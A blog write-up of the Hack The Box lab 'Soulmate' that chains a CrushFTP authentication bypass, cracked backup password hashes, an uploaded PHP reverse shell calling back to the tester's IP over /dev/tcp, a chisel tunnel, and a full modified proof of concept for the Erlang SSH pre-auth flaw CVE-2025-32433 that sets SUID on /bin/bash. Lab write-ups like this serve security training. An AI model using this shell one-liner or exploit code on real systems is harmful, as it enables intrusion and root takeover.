writeup 2025-12-14 · 17 min read

Hack The Box Soulmate Writeup (Easy Linux)

Easy Linux box. CVE-2025-31161 bypasses CrushFTP auth, a mounted webroot takes a PHP shell, and CVE-2025-32433 in Erlang SSH sets the SUID bit on /bin/bash.

Hack The Box Soulmate Writeup (Easy Linux)

Summary

Soulmate exposes only SSH and an nginx server hosting a small PHP dating site, but virtual host fuzzing turns up ftp.soulmate.htb running CrushFTP. CVE-2025-31161 is an authentication bypass in that product, and a working public exploit creates an attacker controlled administrator account, which the tester uses to mount the whole filesystem into their own CrushFTP user and read the user backup archives. Those archives give up password hashes, and hashcat cracks only kavi123, which leads nowhere; the real foothold is that the soulmate.htb webroot is also mounted, so granting the account upload rights allows a bsec.php reverse shell to be dropped and executed as www-data. From there config.php leaks the hardcoded Crush4dmin990 password and ss -tulpn shows several loopback only services, so a chisel SOCKS5 tunnel plus proxychains exposes port 2222 as SSH-2.0-Erlang/5.2.9. That is CVE-2025-32433, a pre-authentication RCE in Erlang/OTP SSH, and a modified proof of concept runs chmod +s /bin/bash, after which bash -p gives an effective uid of 0.

Service Enumeration

I run a full-port nmap scan:

1
nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 10.129.35.217

After a few seconds I have the results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-webdav-scan: 
|   Server Date: Sun, 14 Dec 2025 12:21:14 GMT
|   WebDAV type: Apache DAV
|   Allowed Methods: GET, HEAD, OPTIONS, PUT, POST, COPY, PROPFIND, DELETE, LOCK, MKCOL, MOVE, PROPPATCH, UNLOCK, ACL, TRACE
|_  Server Type: nginx/1.18.0 (Ubuntu)
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS PUT POST COPY PROPFIND DELETE LOCK MKCOL MOVE PROPPATCH UNLOCK ACL TRACE
|_  Potentially risky methods: PUT COPY PROPFIND DELETE LOCK MKCOL MOVE PROPPATCH UNLOCK ACL TRACE
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-favicon: Unknown favicon MD5: 297A81069094D00A052733D3A0537D18
| http-title: CrushFTP WebInterface
|_Requested resource was /WebInterface/login.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing much here, just SSH on port 22 and a web server on port 80

Web Server Enumeration

When I access the website via the direct IP, it redirects me to http://soulmate.htb/. I add it to my /etc/hosts file:

1
echo 10.129.35.217 soulmate.htb | sudo tee -a /etc/hosts

This is how the website main page looks like:

The Soulmate dating site home page served on soulmate.htb

It offers me very few endpoints to work with. The main page itself has a few links. Those include:

1
2
http://soulmate.htb/register.php
http://soulmate.htb/login.php

I use the register form at http://soulmate.htb/register.php to register an account. I log in and this is how my profile looks like:

The Soulmate profile page for the newly registered account, showing the bio and image upload fields

I can have images uploaded to the platform. I can also change some aspects of my profile like the full name, bio and etc. Let’s keep that in mind and proceed with some automated enumeration

Directory Bruteforcing

I start a directory bruteforcing scan with ffuf adding the .php extension since it’s a confirmed php website:

1
ffuf -u http://soulmate.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -e .php -t 50

I get just a few hits:

1
2
3
4
5
6
7
8
profile.php             [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 141ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 142ms]
login.php               [Status: 200, Size: 8554, Words: 3167, Lines: 178, Duration: 1242ms]
register.php            [Status: 200, Size: 11107, Words: 4492, Lines: 238, Duration: 1241ms]
index.php               [Status: 200, Size: 16688, Words: 6110, Lines: 306, Duration: 1241ms]
assets                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 143ms]
.                       [Status: 200, Size: 16688, Words: 6110, Lines: 306, Duration: 140ms]
dashboard.php           [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 141ms]

It’s interesting because even though I’m currently authenticated with a valid account, i can’t access dashboard.php. All other endpoints seem normal.

Virtual Host Enumeration

I enumerate for possible virtual hosts:

1
ffuf -H "Host: FUZZ.soulmate.htb" -u http://soulmate.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -fw 4

Immediately get a hit for “ftp”:

1
ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 818ms]

So I edit my /etc/hosts file to include this new vhost:

1
10.129.35.217 ftp.soulmate.htb soulmate.htb

CrushFTP Admin Login: Authentication Bypass - CVE-2025-31161

The vhost on ftp.soulmate.htb is running CrushFTP:

The CrushFTP WebInterface login page served on the ftp.soulmate.htb virtual host

I immediately use “searchsploit” to look for vulnerabilities affecting this software:

1
searchsploit crushftp

There is one for authentication bypass:

1
CrushFTP 11.3.1 - Authentication Bypass            | multiple/remote/52295.py

I try using this script, it makes me install just a bunch of libraries and dependencies and yet it never worked. Upsetting.

So I do my own research on this vulnerability. Find a CVE number (CVE-2025-31161) and find a working exploit on github.

I run the exploit like so:

Running the CVE-2025-31161 authentication bypass script against ftp.soulmate.htb to create the bsec admin user

More specifically:

1
python3 cve-2025-31161.py --target_host ftp.soulmate.htb --target_user crushadmin --new_user bsec --password 'Password123!' --port 80

And now I can simply log in to the application with my newly created user “bsec”:

CrushFTP logged in as the newly created bsec account

Notes

It seems like the app is also vulnerable to this other CVE: https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis

As you can see from the screenshot below, where I replicate the request shown in the article:

1
2
3
4
5
6
7
8
9
10
GET /WebInterface/function/?command=getUsername&c2f=3HLa HTTP/1.1
Host: 192.168.181.129:8080
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Cookie: showRightRail=false; DoNotShowFTU=true; lastMangerHost=http%3A//localhost%3A8087; currentAuth=3HLa; CrushAuth=1742972465863_IdzGfLNkZvdjv2ew1O9txCFnwe3HLa;
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Connection: keep-alive

Like so:

The CVE-2025-2825 getUsername request returning a response without valid credentials

And I’m able to access this protected endpoint without valid credentials.

Initial Access

After some manual enumeration of CrushFTP, I find how I can read files from the system. Since my newly created user has also administrative privileges on the app, I can navigate to the admin page:

The CrushFTP administration page reached with the bsec account

At the top navigation bar, there’ll be the “User Manager” option. I go there, and see there are other few users:

The CrushFTP User Manager listing ben, crushadmin, jenna, default and TempAccount

That includes:

1
2
3
4
5
ben
crushadmin
jenna
default
TempAccount

If I click on my user “bsec”, I see it lacks access to any files:

The bsec user's CrushFTP permissions pane, empty, beside the server's full filesystem listing

I what files the server has access to though, and it seems like the entire filesystem is here, as you can see from the screenshot above.

I select everything from the left pane by first selecting the first item (mouse click) then holding “shift” and selecting the very last item. Then I move them to the right pane, where the user’s stuff is located:

Moving every filesystem entry from the left pane into the bsec user's virtual file system

Hit “Save” at the bottom. If I go back to the home page, I can see I have access to all the files:

The CrushFTP file browser now showing the whole server filesystem as bsec

I find a interesting directory at http://ftp.soulmate.htb/#/app/CrushFTP11/backup/users/MainUsers/ that contains just a bunch of zip archives. Seems like they’re user backups. I locate files like:

1
2
3
4
http://ftp.soulmate.htb/app/CrushFTP11/backup/users/MainUsers/kavi-08062025_131138.zip
http://ftp.soulmate.htb/app/CrushFTP11/backup/users/MainUsers/jenna-08112025_173713.zip
http://ftp.soulmate.htb/app/CrushFTP11/backup/users/MainUsers/crushadmin-08062025_130820.zip
http://ftp.soulmate.htb/app/CrushFTP11/backup/users/MainUsers/ben-08112025_173457.zip

I download each of them to my machine. They’re one the same standard, each zip archive has at least a file named “user.XML” in it:

A downloaded CrushFTP user backup zip opened to show the user.XML file holding the password hash

That contains the hashed user password. I can create the following relationship between usernames and password hashes:

1
2
3
4
5
6
7
8
9
10
11
Username: kavi
PassHash: 3c991859b92493349187015e5035bc6f4fb3331b9fc7aabf27035468a84fd0d3ed7bc46b2918a51cf33bb3c3a70aafb91569b4079741a58f65afbd7729f0a696

Username: ben
PassHash: 3abdb939a870d5f892cbcad7ec890b27b725ae79b954e2c23deae3de5ed7022376cd8312d11b2a8dc651d523f28b7535e1fbe6f523f95c0b56f4af7dc1d09a96

Username: jenna
PassHash: eeaeabe70899e53be528455a16fb797cfa74cba4f63d8a1980072a2a8f175db5269525283da852ce9f24cd407e4c63256aa383cac5b59da9bf1664d4d30359a6

Username: crushadmin
PassHash: d9eca4956a9d757ba0f007403f73b0d40d79be5d1fba36bc6ce64f98d9c9e88d

The password hash for the crushadmin user is stored using a different format than the other ones (SHA256 in comparison to SHA512 seen for other users).

I save the password hashes for jenna, ben and kavi to “hashes.txt”:

1
2
3
3c991859b92493349187015e5035bc6f4fb3331b9fc7aabf27035468a84fd0d3ed7bc46b2918a51cf33bb3c3a70aafb91569b4079741a58f65afbd7729f0a696
3abdb939a870d5f892cbcad7ec890b27b725ae79b954e2c23deae3de5ed7022376cd8312d11b2a8dc651d523f28b7535e1fbe6f523f95c0b56f4af7dc1d09a96
eeaeabe70899e53be528455a16fb797cfa74cba4f63d8a1980072a2a8f175db5269525283da852ce9f24cd407e4c63256aa383cac5b59da9bf1664d4d30359a6

I run the following hashcat command to crack those hashes:

1
hashcat hashes.txt /usr/share/wordlists/rockyou.txt -r ~/hacking/tools/hashcat-7.1.2/rules/best66.rule --force -m 1700

But I find only one result:

1
3c991859b92493349187015e5035bc6f4fb3331b9fc7aabf27035468a84fd0d3ed7bc46b2918a51cf33bb3c3a70aafb91569b4079741a58f65afbd7729f0a696:kavi123

Which is the password for “kavi” user:

1
2
Username: kavi
Password: kavi123

But I couldn’t do much with this credential.

Uploading a Webshell

Since I couldn’t obtain any user credentials, I started exploring the ftp server more to see if I can find anything useful.

Till I notice the webroot of http://soulmate.htb is mounted:

The soulmate.htb webroot mounted inside CrushFTP under app/webProd

I download all the source code to my machine. I see “index.php” has reference to a ../config/config.php file, but it looks like I have no access to it since I’ve seen no “config” directory:

1
2
3
4
5
<?php
session_start();

// Include configuration
require_once '../config/config.php';

The source code has nothing much to it, really. I see the “dashboard.php” endpoint requires admin access:

1
2
// Check if user is admin
requireAdmin();

But reading through dashboard.php, I couldn’t find anything that I could possibly leverage to obtain more access on the system, so this looks like a dead end.

I notice how I can’t upload files to the FTP server. There is no “upload” button, yet I have administrator privileges. I find it weird, so I go back to the admin page, user management. I notice how I need to manually assign the permissions for my stuff. I select everything, and assign the appropriate permissions:

Assigning read, write and upload permissions to every mounted path in the CrushFTP User Manager

It’s important to note that HTB has cleanup scripts that run periodically, that revert the users back to the original state. I had to re-create my user using the exploit because it was automatically deleted by the cleanup script.

Now if I go back to the web server root I see the upload option:

The CrushFTP file browser showing the upload option on the webProd directory

I create “bsec.php” with the following contents:

1
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.57/9999 0>&1'"); ?>

I start my netcat listener on port 9999:

1
nc -lvnp 9999

And access the bsec.php file on the main vhost:

1
http://soulmate.htb/bsec.php

I immediately get a connection back and start stabilizing the shell:

The netcat listener catching the reverse shell from bsec.php as www-data

Vertical Privilege Escalation

Since I’m www-data, I start enumerating for web files right away. I find the config.php file I was looking for earlier:

1
2
3
4
5
www-data@soulmate:~/soulmate.htb/config$ ls -la 
total 12
drwxrwxr-x 2 www-data www-data 4096 Aug 19 11:01 .
drwxr-xr-x 6 root     root     4096 Aug 10 10:39 ..
-rw-r--r-- 1 www-data www-data 2420 Aug 19 11:01 config.php

There’s nothing much to it. Only a hardcoded password:

1
2
3
4
5
6
7
8
if ($adminCheck->fetchColumn() == 0) {
    $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
    $adminInsert = $this->pdo->prepare("
        INSERT INTO users (username, password, is_admin, name) 
        VALUES (?, ?, 1, 'Administrator')
    ");
    $adminInsert->execute(['admin', $adminPassword]);
}

So now I can probably log in to the crushftp with credentials:

1
2
Username: crushadmin
Password: Crush4dmin990

I save this password to “passwords.txt” just in case other user re-uses it for some reason. There’s only one user I can possibly log in to in the machine:

1
2
3
$ ls -l /home                                 
total 4                                                                              
drwxr-x--- 3 ben ben 4096 Sep  2 10:27 ben

Ben has no interesting groups to it:

1
2
$ id ben 
uid=1000(ben) gid=1000(ben) groups=1000(ben)

I try locating files owned by user/group ben:

1
2
find / -user ben 2>/dev/null
find / -group ben 2>/dev/null

But the only file I can find is “/home/ben”. I try logging in to “ben” using both passwords:

1
2
kavi123
Crush4dmin990

But neither work. I enumerate for listening ports with ss -tulpn:

Output of ss -tulpn listing the loopback only services on ports 2222, 4369, 8080, 8443 and 9090

That shows me there are many local-only services running on the machine like:

1
2
3
4
5
6
7
127.0.0.1:9090
127.0.0.1:33655
127.0.0.1:39497
127.0.0.1:2222
127.0.0.1:8443
127.0.0.1:4369
127.0.0.1:8080

I format it in a way nmap can understand:

1
9090,33655,39497,2222,8443,4369,8080

I start a reverse socks5 proxy chisel server on my machine:

1
nohup ./chisel server --reverse --socks5 -p 1337 &

On the victim machine, I find a writable directory and get chisel:

1
wget 10.10.14.57/chisel

Then add execution rights:

1
chmod +x chisel

And make it connect to my machine:

1
nohup ./chisel client 10.10.14.57:1337 R:socks &

Now I have access to the internal services running on the victim via my machine if I wrap the commands with proxychains4 or use proxy settings to set up the socks5 connection.

For instance, I can enumerate the local ports with nmap now:

1
proxychains4 nmap 127.0.0.1 -p9090,33655,39497,2222,8443,4369,8080 -A

It’ll use the socks5 connection to enumerate the ports aggressively (the -A flag does that):

proxychains4 running nmap through the chisel SOCKS5 tunnel against the machine's loopback ports

This is how the nmap scan result looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
Nmap scan report for localhost (127.0.0.1)
Host is up (1.5s latency).

PORT      STATE SERVICE         VERSION
2222/tcp  open  ssh             (protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Erlang/5.2.9
4369/tcp  open  epmd            Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|_    ssh_runner: 33655
8080/tcp  open  http            CrushFTP DAV httpd (User username)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods: 
|_  Potentially risky methods: PUT COPY PROPFIND DELETE LOCK MKCOL MOVE PROPPATCH UNLOCK ACL TRACE
| http-webdav-scan: 
|   WebDAV type: Apache DAV
|   Server Type: CrushFTP HTTP Server
|   Server Date: Sun, 14 Dec 2025 14:42:26 GMT
|_  Allowed Methods: GET, HEAD, OPTIONS, PUT, POST, COPY, PROPFIND, DELETE, LOCK, MKCOL, MOVE, PROPPATCH, UNLOCK, ACL, TRACE
| http-title: CrushFTP WebInterface
|_Requested resource was /WebInterface/login.html
8443/tcp  open  ssl/http        CrushFTP DAV httpd (User username)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: CrushFTP HTTP Server
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=www.crushftp.com/organizationName=CrushFTP, LLC/stateOrProvinceName=NV/countryName=US
| Not valid before: 2016-01-22T18:04:58
|_Not valid after:  2043-06-08T18:04:58
| http-methods: 
|_  Potentially risky methods: PUT COPY PROPFIND DELETE LOCK MKCOL MOVE PROPPATCH UNLOCK ACL TRACE
9090/tcp  open  hadoop-datanode Apache Hadoop (User username)
|_http-trane-info: Problem with XML parsing of /evox/about
| hadoop-datanode-info: 
|_  Logs: text-primaryMain text-sm text-bold
| http-methods: 
|_  Potentially risky methods: PUT COPY PROPFIND DELETE LOCK MKCOL MOVE PROPPATCH UNLOCK ACL TRACE
| http-title: CrushFTP WebInterface
|_Requested resource was /WebInterface/login.html
| http-webdav-scan: 
|   WebDAV type: Apache DAV
|   Server Type: CrushFTP HTTP Server
|   Server Date: Sun, 14 Dec 2025 14:41:45 GMT
|_  Allowed Methods: GET, HEAD, OPTIONS, PUT, POST, COPY, PROPFIND, DELETE, LOCK, MKCOL, MOVE, PROPPATCH, UNLOCK, ACL, TRACE
| hadoop-tasktracker-info: 
|_  Logs: text-primaryMain text-sm text-bold
33655/tcp open  unknown
39497/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Date: Sun, 14 Dec 2025 14:39:25 GMT
|     Content-Length: 19
|     Content-Type: text/plain; charset=utf-8
|     404: Page Not Found
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 404 Not Found
|     Date: Sun, 14 Dec 2025 14:37:53 GMT
|     Content-Length: 19
|     Content-Type: text/plain; charset=utf-8
|     404: Page Not Found
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Date: Sun, 14 Dec 2025 14:38:02 GMT
|     Content-Length: 19
|     Content-Type: text/plain; charset=utf-8
|_    404: Page Not Found
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.93%I=7%D=12/14%Time=693ECBDD%P=x86_64-pc-linux-gnu%r(N
SF:ULL,16,"SSH-2\.0-Erlang/5\.2\.9\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
<SNIP>
Service Info: Host: sslngn018

Port 2222 is running “SSH-2.0-Erlang/5.2.9”. I do a very simple google search for this and one of the first results is an article talking about CVE-2025-32433.

The article describing CVE-2025-32433, the pre-authentication RCE in Erlang/OTP SSH

The article talks about the vulnerability in detail, and links to a public PoC script on github. I download only the python script from the repository, and make very few adjustments to the code so that it executes OS commands instead of creating a simple file in /. This is how my modified exploit looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import socket
import struct
import time

HOST = "127.0.0.1"  # Target IP (change if needed)
PORT = 2222  # Target port (change if needed)


# Helper to format SSH string (4-byte length + bytes)
def string_payload(s):
    s_bytes = s.encode("utf-8")
    return struct.pack(">I", len(s_bytes)) + s_bytes


# Builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id=0):
    return (
        b"\x5a"  # SSH_MSG_CHANNEL_OPEN
        + string_payload("session")
        + struct.pack(">I", channel_id)  # sender channel ID
        + struct.pack(">I", 0x68000)  # initial window size
        + struct.pack(">I", 0x10000)  # max packet size
    )


# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
    if command is None:
        command = 'os:cmd("chmod +s /bin/bash").'
    return (
        b"\x62"  # SSH_MSG_CHANNEL_REQUEST
        + struct.pack(">I", channel_id)
        + string_payload("exec")
        + b"\x01"  # want_reply = true
        + string_payload(command)
    )


# Builds a minimal but valid SSH_MSG_KEXINIT packet
def build_kexinit():
    cookie = b"\x00" * 16

    def name_list(l):
        return string_payload(",".join(l))

    # Match server-supported algorithms from the log
    return (
        b"\x14"
        + cookie
        + name_list(
            [
                "curve25519-sha256",
                "ecdh-sha2-nistp256",
                "diffie-hellman-group-exchange-sha256",
                "diffie-hellman-group14-sha256",
            ]
        )  # kex algorithms
        + name_list(["rsa-sha2-256", "rsa-sha2-512"])  # host key algorithms
        + name_list(["aes128-ctr"]) * 2  # encryption client->server, server->client
        + name_list(["hmac-sha1"]) * 2  # MAC algorithms
        + name_list(["none"]) * 2  # compression
        + name_list([]) * 2  # languages
        + b"\x00"
        + struct.pack(">I", 0)  # first_kex_packet_follows, reserved
    )


# Pads a packet to match SSH framing
def pad_packet(payload, block_size=8):
    min_padding = 4
    padding_len = block_size - ((len(payload) + 5) % block_size)
    if padding_len < min_padding:
        padding_len += block_size
    return (
        struct.pack(">I", len(payload) + 1 + padding_len)
        + bytes([padding_len])
        + payload
        + bytes([0] * padding_len)
    )


# === Exploit flow ===
try:
    with socket.create_connection((HOST, PORT), timeout=5) as s:
        print("[*] Connecting to SSH server...")

        # 1. Banner exchange
        s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
        banner = s.recv(1024)
        print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
        time.sleep(0.5)  # Small delay between packets

        # 2. Send SSH_MSG_KEXINIT
        print("[*] Sending SSH_MSG_KEXINIT...")
        kex_packet = build_kexinit()
        s.sendall(pad_packet(kex_packet))
        time.sleep(0.5)  # Small delay between packets

        # 3. Send SSH_MSG_CHANNEL_OPEN
        print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
        chan_open = build_channel_open()
        s.sendall(pad_packet(chan_open))
        time.sleep(0.5)  # Small delay between packets

        # 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
        print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
        chan_req = build_channel_request()
        s.sendall(pad_packet(chan_req))

        print(
            "[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt."
        )

        # Try to receive any response (might get a protocol error or disconnect)
        try:
            response = s.recv(1024)
            print(f"[+] Received response: {response.hex()}")
        except socket.timeout:
            print("[*] No response within timeout period (which is expected)")

except Exception as e:
    print(f"[!] Error: {e}")

I run it from my machine:

Running the modified CVE-2025-32433 exploit through proxychains4 against port 2222

More specifically:

1
proxychains4 python3 CVE-2025-32433.py

From the output, it looks like the exploit worked. If I check the permissions for /bin/bash I see it has the SUID bit set, so I just run it privileged and now I’m root, as you can see from the screenshot below:

Runningbin/bash -p after the exploit set the SUID bit, giving an effective uid of 0

More specifically:

1
2
3
4
5
www-data@soulmate:~/soulmate.htb/config$ ls -l /bin/bash 
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash                                
www-data@soulmate:~/soulmate.htb/config$ /bin/bash -p                                
bash-5.1# id                                                                         
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
This post is licensed under CC BY 4.0 by the author.